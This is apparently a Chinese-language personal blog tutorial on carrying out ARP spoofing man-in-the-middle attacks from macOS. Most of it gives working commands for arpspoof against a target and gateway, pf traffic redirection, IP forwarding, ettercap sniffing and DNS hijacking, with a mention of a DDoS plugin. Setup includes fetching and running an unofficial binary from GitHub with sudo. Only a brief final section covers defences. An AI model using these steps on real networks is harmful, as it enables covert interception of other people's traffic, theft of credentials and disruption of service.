前言

本教程以Macos环境为例,其他操作系统请自行参考.以下内容写的比较顺我的心.言外之意:我随便写的,为的是方便我自己

另外如果你是Mac用户,你需要有相应的系统环境,如果你环境从来没有安装过或者没有,需要进行以下操作:

  1. 安装 macports (macports官网)
  2. 更新 macports , sudo port -d selfupdate

  3. 安装 arspoof , curl -LJO https://github.com/YeautyYE/arpspoof/releases/download/2.4b1%2Bdebian-29/arpspoof && chmod a+x arpspoof && mv arpspoof /usr/local/bin/ && sudo arpspoof 项目链接 # 后面内容可以不用看.如果可以 也安装 dsniff(包含 arp 攻击的工具)sudo port install dsniff`就安装吧,kail下有dsniff工具,但这个工具太远古了,本人MBP装不上垃圾东西,我尝试过修复,但修不好..所以这里选择#前的替代方案.

  4. 安装 ettercap , brew install ettercap && brew install adwaita-icon-theme # 可选:adwaita-icon-theme # 如果你觉得按钮有问题无所谓的话,也可以选择不安装 adwaita-icon-theme.

  5. 安装 nmap , brew install nmap

上面👆的内容看不懂?对不起,这个不是纯小白能看的内容,如果你连homebrew都没装,ARP协议及欺骗原理,网关等等都不知道的话,建议你还是马上关闭这个网页吧.会浪费你的时间.


开启网卡(一般不需要)

1
sudo chmod 777 /dev/bpf*

查看目标主机的ARP缓存记录的网关IP以及mac地址(顺便看一下en*端口):如果出现批量重复mac地址,很有可能你在运行或运行过arpspoof命令,出现这种情况时mac地址不采用(因为不可信,nmap查出来的较为可信)

1
arp -a

查询本机各个网卡名的mac地址,本机IP等信息

1
ifconfig

以网关192.168.1.1为例,使用 ping 方式扫描(不准确,但快),192.168.1.1/24”表示扫描”192.168.1.1-192.168.1.254”这个网段的所有机器。

1
nmap -sP 192.168.31.1/24

注:nmap功能非常强大,这里不详细说.

Mac下查询本机地址及网关地址(顺带看一下子网掩码):
Linux呢?我不知道🤷‍♂️诶才怪,Linux的是 route -n

1
netstat -nr # 或者ifconfig +网络接口名 eg: ifconfig en0

Routing table flags

The following table describes the Flags column in the netstat -rn output:

FlagDescription
UUp—Route is valid
GGateway—Route is to a gateway router rather than to a directly connected network or host
HHost name—Route is to a host rather than to a network, where the destination address is a complete address
RReject—Set by ARP when an entry expires (for example, the IP address could not be resolved into a MAC address)
DDynamic—Route added by a route redirect or RIP (if routed is enabled)
MModified—Route modified by a route redirect
CCloning—A new route is cloned from this entry when it is used
LLink—Link-level information, such as the Ethernet MAC address, is present
SStatic—Route added with the route command

翻译如下:

路由表旗

下表描述了netstat -rn输出中的Flags列:

国旗描述
UUp—路线有效
G网关—路由是通往网关路由器,而不是直接连接的网络或主机
H主机名—路由是主机而不是网络,其中目标地址是一个完整的地址
R拒绝—当条目过期时由ARP设置(例如,IP地址无法解析为MAC地址)
D动态—通过路由重定向或RIP添加的路由(如果启用路由)
M修改—路由重定向修改的路线
C克隆—使用时从此条目克隆新路由
L链接—存在链接级信息,例如以太网MAC地址
S静态—路线与路由命令一起添加

Flag UCS 为网关或本机IP或子网掩码 Flag UHLWIir 为网关这个我也不太清楚.建议参考上面资料并自行判断

表达式link#x,其中x是某个数字,用于指示相应的地址是链路级地址,即仅在主机物理连接的网络上运行的地址。

换句话说,这些是直接连接的网络,不需要额外的路由。

至于链接编号(为什么它们是#4和#5,而不是您可能期望的#1和#2),检查ifconfig -a的输出,您会看到链接#1通常是环回接口(lo0)。链路2和3通常是IPv6接口(gif0和stf0),为典型的en0(以太网)和en1(机场)留下链接4和5

在进行arp欺骗之前,为了让对方没有察觉.我们可以当个中间人(算是中间人(MITM)攻击了),这个就需要我们开启IP转发,使得本机具有路由功能,否则当欺骗成功之后,目标机会断网.

开启端口转发

Mac下(修改 mac 的packet filter包过滤器):

  1. 在 /etc/pf.anchors 目录下新建文件 http,内容如下
    rdr pass on en0 proto tcp from any to any port 80 -> 127.0.0.1 port 8080
    8080是程序监听的端口号,是否为en0,请以实际为准,否则无效果.

  2. 修改 /etc/pf.conf 文件,在适当的位置加入
    rdr-anchor "http-forwarding"load anchor "http-forwarding" from "/etc/pf.anchors/http" 两行命令.

    必须按照顺序插入,否则会无效。 /etc/pf.conf 修改后是这样:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    #
    # com.apple anchor point
    #
    scrub-anchor "com.apple/*"
    nat-anchor "com.apple/*"
    rdr-anchor "com.apple/*"
    rdr-anchor "http-forwarding"
    dummynet-anchor "com.apple/*"
    anchor "com.apple/*"
    load anchor "com.apple" from "/etc/pf.anchors/com.apple"
    load anchor "http-forwarding" from "/etc/pf.anchors/http"
  3. 重启 packet filter,依次输入命令 sudo pfctl -ef /etc/pf.confsudo pfctl -E

开启IP转发:

Mac下:

1
sudo sysctl -w net.inet.ip.forwarding=1

Linux下:

1
echo 1 >/proc/sys/net/ipv4/ip_forward && cat /proc/sys/net/ipv4/ip_forward

查看本机IP转发情况:

1
sudo sysctl -a | grep forward

ARP欺骗

假设被攻击的 IP 是 192.168.1.66,局域网的网关是 192.168.1.1,攻击电脑使用的网卡接口是 en0,则欺骗命令如下:

1
2
# arpspoof -i en0 -t 目标IP -r 网关IP
arpspoof -i en0 -t 192.168.1.66 -r 192.168.1.1

arpspoof - 拦截交换局域网上的数据包
arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
参数:
-i:指定要使用的接口(即指定一块网卡),像eth0等。
-c:指定在恢复ARP配置时使用的硬件地址;当在清理(cleaning up)时,数据包的源地址可以用自己的也可以用主机(host)的硬件地址.使用伪造的硬件地址可能导致某些配置下的交换网络、AP网络或桥接网络通信中断,然而它比起默认值————使用自己的硬件地址要工作地更为可靠。
-t:目标地址,如果没指定则会指定LAN上的所有主机。重复可以指定多个主机。
-r:捕获两个方向(目标和主机(host))上的流量,这样就不需要arpspoof发出两个命令了。(仅仅在和-t参数一起使用时有效)
host:你想要截获数据包的主机 (通常是网关)。
想了解更多建议Google或者链接🔗

ettercap截获流量

在前面步骤完成后,可以开始使用ettercap捕获流量了,用命令行开启ettercap的图形窗口:

1
sudo ettercap -G

选择网卡端口en0(请根据实际情况).然后点✔︎即可.

image-20220413014828090

开始扫描.

image-20220413015013204

image-20220413015105514

接下来查看扫描出来的主机信息.

image-20220413015216966

在Host List中添加目标主机IP到 Target 1,添加网关IP到 Target 2.

再开启ARP,选择”sniff remote connections”,然后点击”OK”。这样就配置完成,ettercap会自动开始arp欺骗。.然后再查看数据(选择View下的”Connections”可以监听流量).

image-20220413015509597image-20220413015533734

命令说明
ARP poisoningARP投毒
DNP poisoningDNP投毒
ICMP redirecticmp重定向
Port stealing端口欺骗
DHCP spoofingDHCP欺骗
stop MITM停止攻击
SSL interceptssl嗅探
Hosts显示主机列表
Filters载入二进制脚本
Plugins插件

hosts选项:

命令说明
Hosts list扫描到的主机列表
Enable ipv6 scan扫描ipv6地址
Scan for hosts扫描主机列表
load hosts form file从外部文件载入主机列表
Save hosts to file保存主机列表到文件

修改 /etc/ettercap/etter.dns 并激活dns_spoof插件即可实现DNS劫持.例如 ettercap -i eth0 -Tp -M arp:remote -P dns_spoof /192.168.127.211// /192.168.127.2//

也有ddos插件,可实现ddos攻击,在同一网关下,以我电脑性能实测完全碾压.不同网关的话,另论

怎样防范ARP欺骗?

很简单.

1.在主机绑定网关MAC与IP地址为静态(默认为动态),命令:arp -s 网关IP 网关MAC

2.在网关绑定主机MAC与IP地址,有条件可以使用ARP防火墙.

参考链接🔗有:MacOS下进行ARP欺骗应用ettercap工具进行中间人攻击Dsniff简介arp欺骗攻击及其原理

大学霸 Kali Linux 安全渗透教程